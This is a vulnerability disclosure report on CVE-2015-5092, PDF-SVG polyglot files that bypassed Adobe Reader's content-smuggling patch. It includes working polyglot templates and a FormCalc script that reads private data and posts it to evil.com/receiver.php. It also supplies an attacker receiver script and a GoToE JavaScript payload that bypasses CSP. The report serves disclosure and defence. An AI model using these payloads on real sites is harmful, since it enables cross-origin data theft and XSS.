The vulnerability described in this report was responsibly reported to Adobe on April 21, 2015. Adobe released a patch on July 14, 2015 (APSB15-15: https://helpx.adobe.com/security/products/reader/apsb15-15.html), and has assigned CVE-2015-5092 to the specific security issue.

1. PDF-based polyglots
through SVG images
Target product: Adobe Reader
Researcher: Mauro Gentile

2. PDF-SVG polyglots in Adobe Reader
Page 1/11
Summary
1 PDF-BASED POLYGLOTS THROUGH SVG IMAGES...............................2
1.1.1 Description.............................................................................................................2
1.1.2 Exploitation scenario .............................................................................................4
1.1.3 Impact ....................................................................................................................7
1.1.4 Polyglots related to XSS and Content Security Policy............................................8
1.1.5 References ...........................................................................................................10

3. PDF-SVG polyglots in Adobe Reader
Page 2/11
1 PDF-based polyglots through SVG images
The vulnerability described in this report was responsibly reported to Adobe on April 21, 2015.
Adobe released a patch on July 14, 2015 (APSB15-15:
https://helpx.adobe.com/security/products/reader/apsb15-15.html), and has assigned CVE-
2015-5092 to the specific security issue.
1.1.1 Description
The “PDF Content Smuggling” concept was introduced by Magazinius, Rios and Sabelfeld
in an academic paper entitled “Polyglots: Crossing Origins by Crossing Formats” [1, 2]; the
technique is based on the idea to adopt PDF-based polyglots (i.e. files which are both PDF
documents and images) to perform same-origin request forgery aiming towards
exfiltrating private data in the context of a target domain [3, 4].
Adobe patched this issue by comparing the first bytes of the PDF document against a set
of known file signatures: if a match is found, the parser will abort loading of the document.
Obviously, such approach has some intrinsic weaknesses:
1. Blacklisting known file signatures could be bypassed if we are able to spot file formats,
which are not blacklisted.
2. Identifying file formats, whose signature can appear beyond offset 0, would still lead to
PDF-based polyglots.
However, no widespread image format is allowed to start beyond offset 0 [5, 6] and
signatures for popular formats are blacklisted. This implies that PDF-based polyglots are
not possible anymore if the benign format is a common image, unless there exists a format
with some degree of freedom with respect to the “signature bytes”.
As a consequence of these considerations, we can introduce the PDF-SVG polyglots, since
SVG format is quite tolerant with respect to the “signature bytes”1.
Adobe took into consideration SVG images too, and made the following choices2 when
addressing the content smuggling issue:
 “<?xml” at offset 0 is blacklisted
 “<svg” at offset 0 is blacklisted
 “<!DOCTYPE” at offset 0 is not blacklisted
1
For the sake of clarity, it is not appropriate to talk about “signature bytes” for the SVG format.
2
Test results refer to Adobe Reader version 11.0.11; changes have been applied in version 11.0.12 in order
to address the vulnerability herein described.

4. PDF-SVG polyglots in Adobe Reader
Page 3/11
Introducing whitespaces and/or new lines before “<?xml” or “<svg” does not bypass the
patch; instead, putting any other character before these two blacklisted signatures leads
to a successful bypass, but it makes the resulting SVG file not syntactically well-formed.
Nevertheless, valid PDF-SVG polyglots, which will be correctly read both by Adobe Reader
and by SVG images interpreters, can exist as we are reporting in the following cases.
1) Comment at offset 0
<!---->
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
</svg>
<!--%PDF-1.
1 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
BT/default 40 Tf 1 0 0 1 1 715 Tm(hello world)Tj ET
endstream
endobj
trailer<</Root<</Pages 1 0 R>>>>-->
2) Dummy tag at offset 0
<i>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
</svg>
</i>
<!--%PDF-1.
1 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
BT/default 40 Tf 1 0 0 1 1 715 Tm(hello world)Tj ET
endstream
endobj
trailer<</Root<</Pages 1 0 R>>>>-->
3) Tag "<?dummy" at offset 0
<?h ?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
</svg>
<!--%PDF-1.
1 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream

5. PDF-SVG polyglots in Adobe Reader
Page 4/11
BT/default 40 Tf 1 0 0 1 1 715 Tm(hello world)Tj ET
endstream
endobj
trailer<</Root<</Pages 1 0 R>>>>-->
4) <!DOCTYPE at offset 0
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
</svg>
<!--%PDF-1.
1 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
BT/default 40 Tf 1 0 0 1 1 715 Tm(hello world)Tj ET
endstream
endobj
trailer<</Root<</Pages 1 0 R>>>>-->
5) SVG in PDF comment
<!--%PDF-1.
1 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
BT/default 40 Tf 1 0 0 1 1 715 Tm(hello world)Tj ET
%--><svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle r="100" fill="blue"
/></svg><!--
endstream
endobj
trailer<</Root<</Pages 1 0 R>>>>-->
1.1.2 Exploitation scenario
Let us assume that the web application ideally hosted on example.com allows users to
upload SVG images; once the attacker manages to upload a malicious PDF-SVG polyglot
on example.com and asks the victim to visit http://evil.com/test.html, he could steal its
private information as well as anti-CSRF tokens.
Data can be accessed by asking PDF files to trigger same-origin HTTP requests [7, 8, 9]
through FormCalc APIs.
For the sake of precision, note that if the target web application is allowing PDF files
uploads, then such technique would become useless; uploading a genuine PDF file,

6. PDF-SVG polyglots in Adobe Reader
Page 5/11
instead of a polyglot, would lead to the same result, unless some filtering procedures are
in place for such file format.
http://example.com/files/user_uploaded.svg
<!DOCTYPE svg>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
</svg>
<!--
%PDF-1.
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = Get("http://example.com/privatedata.php");
Post("http://evil.com/receiver.php",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]

7. PDF-SVG polyglots in Adobe Reader
Page 6/11
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
-->
http://example.com/privatedata.php
<?php
session_start();
if (isset($_SESSION['user'])) {
echo "PRIVATEDATA...";
} else {
echo "nothing";
}
?>
http://evil.com/test.html
<img src="http://example.com/files/user_uploaded.svg" />
<object data="http://example.com/files/user_uploaded.svg"
type="application/pdf"
width="350"
height="200" />
http://evil.com/crossdomain.xml
<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
http://evil.com/receiver.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = file_get_contents('php://input')."n";
$ret = file_put_contents('/tmp/data.txt', $data, FILE_APPEND | LOCK_EX);
}

8. PDF-SVG polyglots in Adobe Reader
Page 7/11
?>
Attack flow
The attack flow is reported below.
1. The victim logs in http://example.com/
2. The victim is asked to visit http://evil.com/test.html
3. The PDF polyglot steals victim’s private data and sends them to
http://evil.com/receiver.php
Testing environment
The shown polyglots were successfully tested in the following environments:
1. Windows 7, Adobe Reader plug-in 11.0.11.18, on Mozilla Firefox 39.0, in which we set
“Preview in Firefox with Adobe Reader” for the PDF file format.
2. Windows 7, Adobe Reader plug-in 11.0.11.18, on Opera 30.0, in which we disabled the
“Chrome PDF viewer”.
3. Windows 7, Adobe Reader plug-in 11.0.11.18, on Google Chrome 44.0.2403.107, in which
we disabled the “Chrome PDF viewer”, and enabled the Adobe Reader plug-in.
Note that PDF polyglots do not work in Internet Explorer since it downloads them and
opens a local copy.
In addition, take into consideration that default installations of Firefox, Chrome and Opera
do not use Adobe Reader for rendering PDF files, therefore potentially affected users are
the ones who modified their browser settings in order to use Adobe Reader instead of the
default built-in reader.
1.1.3 Impact
Allowing users to upload SVG files can be considered as dangerous as making them upload
HTML files aiming towards triggering XSS attacks; for all details refer to the research
carried out by Heiderich [10, 11, 12].
By the way, modern web applications use to adopt filters against uploaded SVG files, in
order to identify whether they contain tags and/or attributes, whose goal is to execute
JavaScript.
By considering the case of XSS(-SVG) filters, which are strict enough to block any bypass
attempt, then the aforementioned polyglots would still make the target web application
vulnerable to same-origin request forgery and content hijacking; this is due to the fact

9. PDF-SVG polyglots in Adobe Reader
Page 8/11
that the PDF content would be seen as a comment in the context of the SVG filtering
procedure3.
For further inspiration about polyglots and PDF related resources refer to [13, 14, 15, 16,
17, 18, 19].
1.1.4 Polyglots related to XSS and Content Security Policy
Although several research has been carried out in the last years, Inführ recently proposed
an interesting case for triggering Cross-Site Scripting through PDF files [7, 20].
Basically, it was possible to execute JavaScript code in the context of a target domain by
uploading malicious PDF files; the execution took place by abusing the GoToE function.
By combining the PDF-based polyglots issue with the just mentioned XSS problem, we are
able to craft a malicious SVG(-PDF) image which contains an HTML document, which
embeds itself, making the execution of arbitrary JavaScript code take place.
Consider the following PDF-based polyglot to better understand:
<!DOCTYPE svg>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle r="100" fill="blue" />
<foreignObject>
<body xmlns="http://www.w3.org/1999/xhtml">
<embed src="#" type="application/pdf"></embed>
</body>
</foreignObject>
</svg>
<!--
%PDF-1.1
1 0 obj
<<
/Pages 2 0 R
/OpenAction 4 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
3
Note that filters, discarding comments and CDATA sections, remove the PDF content from the resulting
SVG image; in that case, it is obvious that PDF-SVG polyglots could not exist.

10. PDF-SVG polyglots in Adobe Reader
Page 9/11
/Kids [3 0 R]
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
>>
endobj
4 0 obj
<<
/Type /Action
/S /GoToE /F (javascript:alert(document.domain))
>>
endobj
trailer
<<
/Root 1 0 R
>>
-->
The reported polyglot proves quite interesting, since it leads to a Content Security Policy
bypass in Blink-based browsers4.
By considering the case of a target web application using CSP as follows, then the
assumption that JavaScript execution cannot take place becomes wrong, unless the victim
is using a patched version5 of Adobe Reader.
Content-Security-Policy: default-src 'self'; script-src 'none';
By visiting the SVG file reported above, document.domain is alerted.
In these conditions, the combination of the polyglots and the XSS bug becomes quite
useful for attacking web applications allowing SVG files uploads (, but prohibiting genuine
PDFs uploads, ) and relying only on CSP for protecting against XSS.
Although this approach raises the overall vulnerability impact, it is clear that allowing
foreignObjects tags in uploaded SVG files is sufficient for being vulnerable to stored XSS;
4
Tested in Google Chrome 44.0.2403.107 and Opera 30.0, with Adobe Reader plug-in 11.0.11.18 enabled in
place of Chrome PDF viewer.
5
Both XSS through GoToE and the SVG related content smuggling issue have been patched in Adobe
Reader 11.0.12.

11. PDF-SVG polyglots in Adobe Reader
Page 10/11
therefore, the presented attack becomes reasonable if XSS protection is achieved through
CSP only.
For the sake of completeness, the relation among SVG images and CSP was exhaustively
described by deGraaf [21].
The adoption of polyglots to bypass CSP was previously discussed by Heiderich in a
scenario in which HTML Imports were abused to load a malicious same-origin GIF image
[22, 23]. Defining default-src to ‘self’ implies giving wide confidence to the same-origin,
thus, having a chance to upload polyglots on this origin would make CSP protection
potentially useless, unless the application is restricting any specific policy directive.
In a more general perspective, it is clear that the problem involves external trusted
domains too; for instance, embedding scripts from a domain accepting SWF files uploads
would still make the CSP protection useless [24].
Eventually, curious readers may be interested in some other CSP bypass techniques by
Kouzemtchenko [25].
Notes:
1. The minimal PDF file was taken from:
https://code.google.com/p/corkami/wiki/PDFTricks#Minimalists_PDF
2. The PDF template file, using FormCalc, was taken from the Cross-Site Content Hijacking
proof of concepts by Soroush Dalili of NCC Group:
https://github.com/nccgroup/CrossSiteContentHijacking/blob/master/ContentHijacking/o
bjects/xfa-manual-ContentHijacking.pdf
1.1.5 References
[1] "Polyglots: Crossing Origins by Crossing Formats", Jonas Magazinius, Billy K. Rios, Andrei Sabelfeld -
http://www.cse.chalmers.se/~andrei/ccs13.pdf
[2] "Content Smuggling", Billy K. Rios - http://xs-sniper.com/blog/2012/10/11/content-smuggling/
[3] "Crossing Origins by Crossing Formats", Jonas Magazinius -
http://www.slideshare.net/internot/crossing-origins-by-crossing-formats
[4] "Crossing Origins by Crossing Formats", Jonas Magazinius -
https://www.owasp.org/images/8/85/Crossing.Origins.by.Crossing.Formats-Jonas.Magazinius-OWASP-
131010.pptx
[5] "Corkamix", Ange Albertini - https://code.google.com/p/corkami/wiki/mix?show=content
[6] "Messing with binary formats", Ange Albertini - http://www.slideshare.net/ange4771/messing-with-
binary-formats

12. PDF-SVG polyglots in Adobe Reader
Page 11/11
[7] "Multiple PDF Vulnerabilities - Text and Pictures on Steroids", Alex Inführ - http://insert-
script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-and.html
[8] "Cross-Site Content Hijacking (XSCH) PoC", Soroush Dalili -
https://github.com/nccgroup/CrossSiteContentHijacking
[9] "SDRF vulns in webapps and browsers", Vladimir Vorontsov -
http://seclists.org/fulldisclosure/2010/Aug/236
[10] "HTML5 Security Cheatsheet - Vectors embedded in SVG files", Mario Heiderich -
http://html5sec.org/#svg
[11] "The Image that called me", Mario Heiderich - http://www.slideshare.net/x00mario/the-image-that-
called-me
[12] "Crouching Tiger - Hidden Payload: Security Risks of Scalable Vectors Graphics", Mario Heiderich,
Tilman Frosch, Meiko Jensen, Thorsten Holz - http://www.hgi.ruhr-uni-
bochum.de/media/hgi/veroeffentlichungen/2011/10/19/svgSecurity-ccs11.pdf
[13] "Hello, squirrel fans!", Michal Zalewski - http://lcamtuf.coredump.cx/squirrel/
[14] "Deadly Pixels", Saumil Shah - http://www.slideshare.net/saumilshah/deadly-pixels-nsc-2013
[15] "Valid pictures with useable JavaScript", Ange Albertini -
https://code.google.com/p/corkami/downloads/detail?name=jspics.zip&can=2&q=
[16] "OMG-WTF-PDF", Julia Wolf - http://www.troopers.de/wp-
content/uploads/2011/04/TR11_Wolf_OMG_PDF.pdf
[17] "Advanced PDF Tricks", Ange Albertini - https://speakerdeck.com/ange/advanced-pdf-tricks
[18] "Funky File Formats", Ange Albertini - https://speakerdeck.com/ange/funky-file-formats-31c3
[19] "Polyglot payloads in practice", Mathias Karlsson -
http://www.slideshare.net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra
[20] "PDF - Mess with the web", Alex Inführ - http://insert-script.blogspot.co.at/2015/05/pdf-mess-with-
web.html
[21] "SVG: Exploiting Browsers Without Image Parsing Bugs", Rennie deGraaf -
https://www.blackhat.com/docs/us-14/materials/us-14-DeGraaf-SVG-Exploiting-Browsers-Without-
Image-Parsing-Bugs.pdf
[22] "CSP Bypass in Chrome Canary + AngularJS", Mario Heiderich - https://html5sec.org/cspbypass/
[23] "JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks", Mario Heiderich -
http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-
frameworks
[24] "Building an XSS polyglot through SWF and CSP", Frans Rosén -
http://labs.detectify.com/post/120088174539/building-an-xss-polyglot-through-swf-and-csp
[25] "Bypassing Content Security Policy", Alex Kouzemtchenko -
https://www.youtube.com/watch?v=LA9S9I4Co00